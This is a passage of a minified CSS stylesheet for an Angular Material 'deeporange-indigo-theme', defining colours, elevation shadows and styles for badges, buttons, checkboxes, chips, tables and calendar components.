.9);--theme-warn-fade-20: rgba(244, 67, 54, .8);--theme-warn-fade-30: rgba(244, 67, 54, .7);--theme-warn-fade-40: rgba(244, 67, 54, .6);--theme-warn-fade-50: rgba(244, 67, 54, .5);--theme-text: rgba(0, 0, 0, .87);--theme-text-lighter: rgba(15, 15, 15, .87);--theme-text-light: rgba(26, 26, 26, .87);--theme-text-darker: rgba(0, 0, 0, .87);--theme-text-dark: rgba(0, 0, 0, .87);--theme-text-fade-10: rgba(0, 0, 0, .77);--theme-text-fade-20: rgba(0, 0, 0, .67);--theme-text-fade-30: rgba(0, 0, 0, .57);--theme-text-fade-40: rgba(0, 0, 0, .47);--theme-text-fade-50: rgba(0, 0, 0, .37);--theme-text-invert-15: rgba(38, 38, 38, .87);--theme-text-invert-30: rgba(77, 77, 77, .87);--theme-background: white;--theme-background-lighter: white;--theme-background-light: white;--theme-background-darker: #f0f0f0;--theme-background-dark: #e6e6e6;--theme-background-darkest: #dbdbdb}.deeporange-indigo-theme .mat-ripple-element{background-color:#0000001a}.deeporange-indigo-theme .mat-option{color:#000000de}.deeporange-indigo-theme .mat-option:hover:not(.mat-option-disabled),.deeporange-indigo-theme .mat-option:focus:not(.mat-option-disabled){background:rgba(0,0,0,.04)}.deeporange-indigo-theme .mat-option.mat-selected:not(.mat-option-multiple):not(.mat-option-disabled){background:rgba(0,0,0,.04)}.deeporange-indigo-theme .mat-option.mat-active{background:rgba(0,0,0,.04);color:#000000de}.deeporange-indigo-theme .mat-option.mat-option-disabled{color:#00000061}.deeporange-indigo-theme .mat-primary .mat-option.mat-selected:not(.mat-option-disabled){color:#e64a19}.deeporange-indigo-theme .mat-accent .mat-option.mat-selected:not(.mat-option-disabled){color:#1a237e}.deeporange-indigo-theme .mat-warn .mat-option.mat-selected:not(.mat-option-disabled){color:#f44336}.deeporange-indigo-theme .mat-optgroup-label{color:#0000008a}.deeporange-indigo-theme .mat-optgroup-disabled .mat-optgroup-label{color:#00000061}.deeporange-indigo-theme .mat-pseudo-checkbox{color:#0000008a}.deeporange-indigo-theme .mat-pseudo-checkbox:after{color:#fafafa}.deeporange-indigo-theme .mat-pseudo-checkbox-disabled{color:#b0b0b0}.deeporange-indigo-theme .mat-primary .mat-pseudo-checkbox-checked,.deeporange-indigo-theme .mat-primary .mat-pseudo-checkbox-indeterminate{background:#e64a19}.deeporange-indigo-theme .mat-pseudo-checkbox-checked,.deeporange-indigo-theme .mat-pseudo-checkbox-indeterminate,.deeporange-indigo-theme .mat-accent .mat-pseudo-checkbox-checked,.deeporange-indigo-theme .mat-accent .mat-pseudo-checkbox-indeterminate{background:#1a237e}.deeporange-indigo-theme .mat-warn .mat-pseudo-checkbox-checked,.deeporange-indigo-theme .mat-warn .mat-pseudo-checkbox-indeterminate{background:#f44336}.deeporange-indigo-theme .mat-pseudo-checkbox-checked.mat-pseudo-checkbox-disabled,.deeporange-indigo-theme .mat-pseudo-checkbox-indeterminate.mat-pseudo-checkbox-disabled{background:#b0b0b0}.deeporange-indigo-theme .mat-app-background,.deeporange-indigo-theme.mat-app-background{background-color:#fafafa;color:#000000de}.deeporange-indigo-theme .mat-elevation-z0{box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeporange-indigo-theme .mat-elevation-z1{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.deeporange-indigo-theme .mat-elevation-z2{box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.deeporange-indigo-theme .mat-elevation-z3{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.deeporange-indigo-theme .mat-elevation-z4{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.deeporange-indigo-theme .mat-elevation-z5{box-shadow:0 3px 5px -1px #0003,0 5px 8px #00000024,0 1px 14px #0000001f}.deeporange-indigo-theme .mat-elevation-z6{box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.deeporange-indigo-theme .mat-elevation-z7{box-shadow:0 4px 5px -2px #0003,0 7px 10px 1px #00000024,0 2px 16px 1px #0000001f}.deeporange-indigo-theme .mat-elevation-z8{box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.deeporange-indigo-theme .mat-elevation-z9{box-shadow:0 5px 6px -3px #0003,0 9px 12px 1px #00000024,0 3px 16px 2px #0000001f}.deeporange-indigo-theme .mat-elevation-z10{box-shadow:0 6px 6px -3px #0003,0 10px 14px 1px #00000024,0 4px 18px 3px #0000001f}.deeporange-indigo-theme .mat-elevation-z11{box-shadow:0 6px 7px -4px #0003,0 11px 15px 1px #00000024,0 4px 20px 3px #0000001f}.deeporange-indigo-theme .mat-elevation-z12{box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.deeporange-indigo-theme .mat-elevation-z13{box-shadow:0 7px 8px -4px #0003,0 13px 19px 2px #00000024,0 5px 24px 4px #0000001f}.deeporange-indigo-theme .mat-elevation-z14{box-shadow:0 7px 9px -4px #0003,0 14px 21px 2px #00000024,0 5px 26px 4px #0000001f}.deeporange-indigo-theme .mat-elevation-z15{box-shadow:0 8px 9px -5px #0003,0 15px 22px 2px #00000024,0 6px 28px 5px #0000001f}.deeporange-indigo-theme .mat-elevation-z16{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.deeporange-indigo-theme .mat-elevation-z17{box-shadow:0 8px 11px -5px #0003,0 17px 26px 2px #00000024,0 6px 32px 5px #0000001f}.deeporange-indigo-theme .mat-elevation-z18{box-shadow:0 9px 11px -5px #0003,0 18px 28px 2px #00000024,0 7px 34px 6px #0000001f}.deeporange-indigo-theme .mat-elevation-z19{box-shadow:0 9px 12px -6px #0003,0 19px 29px 2px #00000024,0 7px 36px 6px #0000001f}.deeporange-indigo-theme .mat-elevation-z20{box-shadow:0 10px 13px -6px #0003,0 20px 31px 3px #00000024,0 8px 38px 7px #0000001f}.deeporange-indigo-theme .mat-elevation-z21{box-shadow:0 10px 13px -6px #0003,0 21px 33px 3px #00000024,0 8px 40px 7px #0000001f}.deeporange-indigo-theme .mat-elevation-z22{box-shadow:0 10px 14px -6px #0003,0 22px 35px 3px #00000024,0 8px 42px 7px #0000001f}.deeporange-indigo-theme .mat-elevation-z23{box-shadow:0 11px 14px -7px #0003,0 23px 36px 3px #00000024,0 9px 44px 8px #0000001f}.deeporange-indigo-theme .mat-elevation-z24{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.mat-theme-loaded-marker{display:none}.deeporange-indigo-theme .mat-autocomplete-panel{background:white;color:#000000de}.deeporange-indigo-theme .mat-autocomplete-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.deeporange-indigo-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover){background:white}.deeporange-indigo-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover):not(.mat-option-disabled){color:#000000de}.deeporange-indigo-theme .mat-badge{position:relative}.deeporange-indigo-theme .mat-badge.mat-badge{overflow:visible}.deeporange-indigo-theme .mat-badge-hidden .mat-badge-content{display:none}.deeporange-indigo-theme .mat-badge-content{position:absolute;text-align:center;display:inline-block;border-radius:50%;transition:transform .2s ease-in-out;transform:scale(.6);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;pointer-events:none}.deeporange-indigo-theme .ng-animate-disabled .mat-badge-content,.deeporange-indigo-theme .mat-badge-content._mat-animation-noopable{transition:none}.deeporange-indigo-theme .mat-badge-content.mat-badge-active{transform:none}.deeporange-indigo-theme .mat-badge-small .mat-badge-content{width:16px;height:16px;line-height:16px}.deeporange-indigo-theme .mat-badge-small.mat-badge-above .mat-badge-content{top:-8px}.deeporange-indigo-theme .mat-badge-small.mat-badge-below .mat-badge-content{bottom:-8px}.deeporange-indigo-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:-16px}[dir=rtl] .deeporange-indigo-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:auto;right:-16px}.deeporange-indigo-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:-16px}[dir=rtl] .deeporange-indigo-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:auto;left:-16px}.deeporange-indigo-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-8px}[dir=rtl] .deeporange-indigo-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-8px}.deeporange-indigo-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-8px}[dir=rtl] .deeporange-indigo-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-8px}.deeporange-indigo-theme .mat-badge-medium .mat-badge-content{width:22px;height:22px;line-height:22px}.deeporange-indigo-theme .mat-badge-medium.mat-badge-above .mat-badge-content{top:-11px}.deeporange-indigo-theme .mat-badge-medium.mat-badge-below .mat-badge-content{bottom:-11px}.deeporange-indigo-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:-22px}[dir=rtl] .deeporange-indigo-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:auto;right:-22px}.deeporange-indigo-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:-22px}[dir=rtl] .deeporange-indigo-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:auto;left:-22px}.deeporange-indigo-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-11px}[dir=rtl] .deeporange-indigo-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-11px}.deeporange-indigo-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-11px}[dir=rtl] .deeporange-indigo-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-11px}.deeporange-indigo-theme .mat-badge-large .mat-badge-content{width:28px;height:28px;line-height:28px}.deeporange-indigo-theme .mat-badge-large.mat-badge-above .mat-badge-content{top:-14px}.deeporange-indigo-theme .mat-badge-large.mat-badge-below .mat-badge-content{bottom:-14px}.deeporange-indigo-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:-28px}[dir=rtl] .deeporange-indigo-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:auto;right:-28px}.deeporange-indigo-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:-28px}[dir=rtl] .deeporange-indigo-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:auto;left:-28px}.deeporange-indigo-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-14px}[dir=rtl] .deeporange-indigo-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-14px}.deeporange-indigo-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-14px}[dir=rtl] .deeporange-indigo-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-14px}.deeporange-indigo-theme .mat-badge-content{color:#fff;background:#e64a19}.cdk-high-contrast-active .deeporange-indigo-theme .mat-badge-content{outline:solid 1px;border-radius:0}.deeporange-indigo-theme .mat-badge-accent .mat-badge-content{background:#1a237e;color:#fff}.deeporange-indigo-theme .mat-badge-warn .mat-badge-content{color:#fff;background:#f44336}.deeporange-indigo-theme .mat-badge-disabled .mat-badge-content{background:#b9b9b9;color:#00000061}.deeporange-indigo-theme .mat-bottom-sheet-container{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f;background:white;color:#000000de}.deeporange-indigo-theme .mat-button,.deeporange-indigo-theme .mat-icon-button,.deeporange-indigo-theme .mat-stroked-button{color:inherit;background:transparent}.deeporange-indigo-theme .mat-button.mat-primary,.deeporange-indigo-theme .mat-icon-button.mat-primary,.deeporange-indigo-theme .mat-stroked-button.mat-primary{color:#e64a19}.deeporange-indigo-theme .mat-button.mat-accent,.deeporange-indigo-theme .mat-icon-button.mat-accent,.deeporange-indigo-theme .mat-stroked-button.mat-accent{color:#1a237e}.deeporange-indigo-theme .mat-button.mat-warn,.deeporange-indigo-theme .mat-icon-button.mat-warn,.deeporange-indigo-theme .mat-stroked-button.mat-warn{color:#f44336}.deeporange-indigo-theme .mat-button.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-button.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-button.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-button.mat-button-disabled.mat-button-disabled,.deeporange-indigo-theme .mat-icon-button.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-icon-button.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-icon-button.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-icon-button.mat-button-disabled.mat-button-disabled,.deeporange-indigo-theme .mat-stroked-button.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-stroked-button.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-stroked-button.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-stroked-button.mat-button-disabled.mat-button-disabled{color:#00000042}.deeporange-indigo-theme .mat-button.mat-primary .mat-button-focus-overlay,.deeporange-indigo-theme .mat-icon-button.mat-primary .mat-button-focus-overlay,.deeporange-indigo-theme .mat-stroked-button.mat-primary .mat-button-focus-overlay{background-color:#e64a19}.deeporange-indigo-theme .mat-button.mat-accent .mat-button-focus-overlay,.deeporange-indigo-theme .mat-icon-button.mat-accent .mat-button-focus-overlay,.deeporange-indigo-theme .mat-stroked-button.mat-accent .mat-button-focus-overlay{background-color:#1a237e}.deeporange-indigo-theme .mat-button.mat-warn .mat-button-focus-overlay,.deeporange-indigo-theme .mat-icon-button.mat-warn .mat-button-focus-overlay,.deeporange-indigo-theme .mat-stroked-button.mat-warn .mat-button-focus-overlay{background-color:#f44336}.deeporange-indigo-theme .mat-button.mat-button-disabled .mat-button-focus-overlay,.deeporange-indigo-theme .mat-icon-button.mat-button-disabled .mat-button-focus-overlay,.deeporange-indigo-theme .mat-stroked-button.mat-button-disabled .mat-button-focus-overlay{background-color:transparent}.deeporange-indigo-theme .mat-button .mat-ripple-element,.deeporange-indigo-theme .mat-icon-button .mat-ripple-element,.deeporange-indigo-theme .mat-stroked-button .mat-ripple-element{opacity:.1;background-color:currentColor}.deeporange-indigo-theme .mat-button-focus-overlay{background:black}.deeporange-indigo-theme .mat-stroked-button:not(.mat-button-disabled){border-color:#0000001f}.deeporange-indigo-theme .mat-flat-button,.deeporange-indigo-theme .mat-raised-button,.deeporange-indigo-theme .mat-fab,.deeporange-indigo-theme .mat-mini-fab{color:#000000de;background-color:#fff}.deeporange-indigo-theme .mat-flat-button.mat-primary,.deeporange-indigo-theme .mat-raised-button.mat-primary,.deeporange-indigo-theme .mat-fab.mat-primary,.deeporange-indigo-theme .mat-mini-fab.mat-primary,.deeporange-indigo-theme .mat-flat-button.mat-accent,.deeporange-indigo-theme .mat-raised-button.mat-accent,.deeporange-indigo-theme .mat-fab.mat-accent,.deeporange-indigo-theme .mat-mini-fab.mat-accent,.deeporange-indigo-theme .mat-flat-button.mat-warn,.deeporange-indigo-theme .mat-raised-button.mat-warn,.deeporange-indigo-theme .mat-fab.mat-warn,.deeporange-indigo-theme .mat-mini-fab.mat-warn{color:#fff}.deeporange-indigo-theme .mat-flat-button.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-flat-button.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-flat-button.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.deeporange-indigo-theme .mat-raised-button.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-raised-button.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-raised-button.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.deeporange-indigo-theme .mat-fab.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-fab.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-fab.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-fab.mat-button-disabled.mat-button-disabled,.deeporange-indigo-theme .mat-mini-fab.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-mini-fab.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-mini-fab.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{color:#00000042}.deeporange-indigo-theme .mat-flat-button.mat-primary,.deeporange-indigo-theme .mat-raised-button.mat-primary,.deeporange-indigo-theme .mat-fab.mat-primary,.deeporange-indigo-theme .mat-mini-fab.mat-primary{background-color:#e64a19}.deeporange-indigo-theme .mat-flat-button.mat-accent,.deeporange-indigo-theme .mat-raised-button.mat-accent,.deeporange-indigo-theme .mat-fab.mat-accent,.deeporange-indigo-theme .mat-mini-fab.mat-accent{background-color:#1a237e}.deeporange-indigo-theme .mat-flat-button.mat-warn,.deeporange-indigo-theme .mat-raised-button.mat-warn,.deeporange-indigo-theme .mat-fab.mat-warn,.deeporange-indigo-theme .mat-mini-fab.mat-warn{background-color:#f44336}.deeporange-indigo-theme .mat-flat-button.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-flat-button.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-flat-button.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.deeporange-indigo-theme .mat-raised-button.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-raised-button.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-raised-button.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.deeporange-indigo-theme .mat-fab.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-fab.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-fab.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-fab.mat-button-disabled.mat-button-disabled,.deeporange-indigo-theme .mat-mini-fab.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-mini-fab.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-mini-fab.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{background-color:#0000001f}.deeporange-indigo-theme .mat-flat-button.mat-primary .mat-ripple-element,.deeporange-indigo-theme .mat-raised-button.mat-primary .mat-ripple-element,.deeporange-indigo-theme .mat-fab.mat-primary .mat-ripple-element,.deeporange-indigo-theme .mat-mini-fab.mat-primary .mat-ripple-element,.deeporange-indigo-theme .mat-flat-button.mat-accent .mat-ripple-element,.deeporange-indigo-theme .mat-raised-button.mat-accent .mat-ripple-element,.deeporange-indigo-theme .mat-fab.mat-accent .mat-ripple-element,.deeporange-indigo-theme .mat-mini-fab.mat-accent .mat-ripple-element,.deeporange-indigo-theme .mat-flat-button.mat-warn .mat-ripple-element,.deeporange-indigo-theme .mat-raised-button.mat-warn .mat-ripple-element,.deeporange-indigo-theme .mat-fab.mat-warn .mat-ripple-element,.deeporange-indigo-theme .mat-mini-fab.mat-warn .mat-ripple-element{background-color:#ffffff1a}.deeporange-indigo-theme .mat-stroked-button:not([class*=mat-elevation-z]),.deeporange-indigo-theme .mat-flat-button:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeporange-indigo-theme .mat-raised-button:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.deeporange-indigo-theme .mat-raised-button:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.deeporange-indigo-theme .mat-raised-button.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeporange-indigo-theme .mat-fab:not([class*=mat-elevation-z]),.deeporange-indigo-theme .mat-mini-fab:not([class*=mat-elevation-z]){box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.deeporange-indigo-theme .mat-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]),.deeporange-indigo-theme .mat-mini-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.deeporange-indigo-theme .mat-fab.mat-button-disabled:not([class*=mat-elevation-z]),.deeporange-indigo-theme .mat-mini-fab.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeporange-indigo-theme .mat-button-toggle-standalone:not([class*=mat-elevation-z]),.deeporange-indigo-theme .mat-button-toggle-group:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.deeporange-indigo-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard:not([class*=mat-elevation-z]),.deeporange-indigo-theme .mat-button-toggle-group-appearance-standard:not([class*=mat-elevation-z]){box-shadow:none}.deeporange-indigo-theme .mat-button-toggle{color:#00000061}.deeporange-indigo-theme .mat-button-toggle .mat-button-toggle-focus-overlay{background-color:#0000001f}.deeporange-indigo-theme .mat-button-toggle-appearance-standard{color:#000000de;background:white}.deeporange-indigo-theme .mat-button-toggle-appearance-standard .mat-button-toggle-focus-overlay{background-color:#000}.deeporange-indigo-theme .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:solid 1px #e0e0e0}.deeporange-indigo-theme [dir=rtl] .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:solid 1px #e0e0e0}.deeporange-indigo-theme .mat-button-toggle-group-appearance-standard.mat-button-toggle-vertical .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:none;border-top:solid 1px #e0e0e0}.deeporange-indigo-theme .mat-button-toggle-checked{background-color:#e0e0e0;color:#0000008a}.deeporange-indigo-theme .mat-button-toggle-checked.mat-button-toggle-appearance-standard{color:#000000de}.deeporange-indigo-theme .mat-button-toggle-disabled{color:#00000042;background-color:#eee}.deeporange-indigo-theme .mat-button-toggle-disabled.mat-button-toggle-appearance-standard{background:white}.deeporange-indigo-theme .mat-button-toggle-disabled.mat-button-toggle-checked{background-color:#bdbdbd}.deeporange-indigo-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard,.deeporange-indigo-theme .mat-button-toggle-group-appearance-standard{border:solid 1px #e0e0e0}.deeporange-indigo-theme .mat-card{background:white;color:#000000de}.deeporange-indigo-theme .mat-card:not([class*=mat-elevation-z]){box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.deeporange-indigo-theme .mat-card.mat-card-flat:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeporange-indigo-theme .mat-card-subtitle{color:#0000008a}.deeporange-indigo-theme .mat-checkbox-frame{border-color:#0000008a}.deeporange-indigo-theme .mat-checkbox-checkmark{fill:#fafafa}.deeporange-indigo-theme .mat-checkbox-checkmark-path{stroke:#fafafa!important}.deeporange-indigo-theme .mat-checkbox-mixedmark{background-color:#fafafa}.deeporange-indigo-theme .mat-checkbox-indeterminate.mat-primary .mat-checkbox-background,.deeporange-indigo-theme .mat-checkbox-checked.mat-primary .mat-checkbox-background{background-color:#e64a19}.deeporange-indigo-theme .mat-checkbox-indeterminate.mat-accent .mat-checkbox-background,.deeporange-indigo-theme .mat-checkbox-checked.mat-accent .mat-checkbox-background{background-color:#1a237e}.deeporange-indigo-theme .mat-checkbox-indeterminate.mat-warn .mat-checkbox-background,.deeporange-indigo-theme .mat-checkbox-checked.mat-warn .mat-checkbox-background{background-color:#f44336}.deeporange-indigo-theme .mat-checkbox-disabled.mat-checkbox-checked .mat-checkbox-background,.deeporange-indigo-theme .mat-checkbox-disabled.mat-checkbox-indeterminate .mat-checkbox-background{background-color:#b0b0b0}.deeporange-indigo-theme .mat-checkbox-disabled:not(.mat-checkbox-checked) .mat-checkbox-frame{border-color:#b0b0b0}.deeporange-indigo-theme .mat-checkbox-disabled .mat-checkbox-label{color:#00000061}.deeporange-indigo-theme .mat-checkbox .mat-ripple-element{background-color:#000}.deeporange-indigo-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element,.deeporange-indigo-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element{background:#e64a19}.deeporange-indigo-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element,.deeporange-indigo-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element{background:#1a237e}.deeporange-indigo-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element,.deeporange-indigo-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element{background:#f44336}.deeporange-indigo-theme .mat-chip.mat-standard-chip{background-color:#e0e0e0;color:#000000de}.deeporange-indigo-theme .mat-chip.mat-standard-chip .mat-chip-remove{color:#000000de;opacity:.4}.deeporange-indigo-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled):active{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.deeporange-indigo-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled) .mat-chip-remove:hover{opacity:.54}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-disabled{opacity:.4}.deeporange-indigo-theme .mat-chip.mat-standard-chip:after{background:black}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary{background-color:#e64a19;color:#fff}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-chip-remove{color:#fff;opacity:.4}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-ripple-element{background-color:#ffffff1a}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn{background-color:#f44336;color:#fff}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-chip-remove{color:#fff;opacity:.4}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-ripple-element{background-color:#ffffff1a}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent{background-color:#1a237e;color:#fff}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-chip-remove{color:#fff;opacity:.4}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-ripple-element{background-color:#ffffff1a}.deeporange-indigo-theme .mat-table{background:white}.deeporange-indigo-theme .mat-table thead,.deeporange-indigo-theme .mat-table tbody,.deeporange-indigo-theme .mat-table tfoot,.deeporange-indigo-theme mat-header-row,.deeporange-indigo-theme mat-row,.deeporange-indigo-theme mat-footer-row,.deeporange-indigo-theme [mat-header-row],.deeporange-indigo-theme [mat-row],.deeporange-indigo-theme [mat-footer-row],.deeporange-indigo-theme .mat-table-sticky{background:inherit}.deeporange-indigo-theme mat-row,.deeporange-indigo-theme mat-header-row,.deeporange-indigo-theme mat-footer-row,.deeporange-indigo-theme th.mat-header-cell,.deeporange-indigo-theme td.mat-cell,.deeporange-indigo-theme td.mat-footer-cell{border-bottom-color:#0000001f}.deeporange-indigo-theme .mat-header-cell{color:#0000008a}.deeporange-indigo-theme .mat-cell,.deeporange-indigo-theme .mat-footer-cell{color:#000000de}.deeporange-indigo-theme .mat-calendar-arrow{fill:#0000008a}.deeporange-indigo-theme .mat-datepicker-toggle,.deeporange-indigo-theme .mat-datepicker-content .mat-calendar-next-button,.deeporange-indigo-theme .mat-datepicker-content .mat-calendar-previous-button{color:#0000008a}.deeporange-indigo-theme .mat-calendar-table-header-divider:after{background:rgba(0,0,0,.12)}.deeporange-indigo-theme .mat-calendar-table-header,.deeporange-indigo-theme .mat-calendar-body-label{color:#0000008a}.deeporange-indigo-theme .mat-calendar-body-cell-content,.deeporange-indigo-theme .mat-date-range-input-separator{color:#000000de;border-color:transparent}.deeporange-indigo-theme .mat-calendar-body-disabled>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){color:#00000061}.deeporange-indigo-theme .mat-form-field-disabled .mat-date-range-input-separator{color:#00000061}.deeporange-indigo-theme .mat-calendar-body-in-preview{color:#0000003d}.deeporange-indigo-theme .mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#00000061}.deeporange-indigo-theme .mat-calendar-body-disabled>.mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#0000002e}.deeporange-indigo-theme .mat-calendar-body-in-range:before{background:rgba(230,74,25,.2)}.deeporange-indigo-theme .mat-calendar-body-comparison-identical,.deeporange-indigo-theme .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.deeporange-indigo-theme .mat-calendar-body-comparison-bridge-start:before,.deeporange-indigo-theme [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(230,74,25,.2) 50%,rgba(249,171,0,.2) 50%)}.deeporange-indigo-theme .mat-calendar-body-comparison-bridge-end:before,.deeporange-indigo-theme 